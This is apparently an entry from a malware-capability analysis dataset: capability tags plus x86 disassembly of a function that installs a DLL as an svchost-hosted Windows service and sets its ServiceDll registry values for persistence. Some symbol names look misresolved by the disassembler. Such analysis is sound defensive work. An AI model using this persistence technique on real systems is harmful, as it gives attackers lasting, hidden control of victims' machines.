Function at 0x10009920
Capabilities:
Create service
Modify service
Persist via windows service
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x61c]
sub esp, 0x61c
push 0xfffffffffffffffe
push 0x1008b9e8
push 0x1000df70
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x1008e060]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp + 0x618], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebp + 0x624]
mov dword [ebp - 0x30], eax
mov ebx, edx
xor edi, edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x10009b14
push esi
push str.__SystemRoot__System32_svchost.exe__k___s_
lea ecx, [ebp]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push edi
push edi
push edi
push edi
push edi
lea edx, [ebp]
push edx
push 1
push 2
push pe_nt_image_headers32
push 0xf01ff
mov eax, dword [ebp - 0x30]
push eax
push esi
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov edi, eax
mov dword [ebp - 0x28], edi
test edi, edi
je 0x10009b14
mov dword [ebp - 0x2c], ebx
lea edx, [ebp - 0x2c]
push edx
push 1
push edi
mov ebx, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
call ebx
mov dword [ebp - 0x34], 0x1388
mov ecx, 1
mov dword [ebp - 0x38], ecx
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], ecx
lea eax, [ebp - 0x38]
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x4c]
push ecx
push 2
push edi
call ebx
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
mov edx, dword [ebp - 0x20]
push edx
call ebx
lea eax, [ebp - 0x1c]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push getsockname
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
call ebx
lea ecx, [eax + eax + 2]
push ecx
push esi
push 7
push 0
push esi
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push str.SYSTEMCurrentControlSetServices_s
lea ecx, [ebp + 0x410]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x208
lea edx, [ebp + 0x208]
push edx
mov ecx, fcn.10008f30
call fcn.100054b0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str.Parameters
lea eax, [ebp + 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp + 0x410]
push eax
push getsockname
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea ecx, [ebp + 0x208]
push ecx
call ebx
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp + 0x208]
push eax
push 2
push 0
push str.ServiceDll
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.10009860
add esp, 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0xfffffffe
call fcn.10009b4b
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x618]
xor ecx, ebp
call fcn.1000c146
add ebp, 0x61c
mov esp, ebp
pop ebp
ret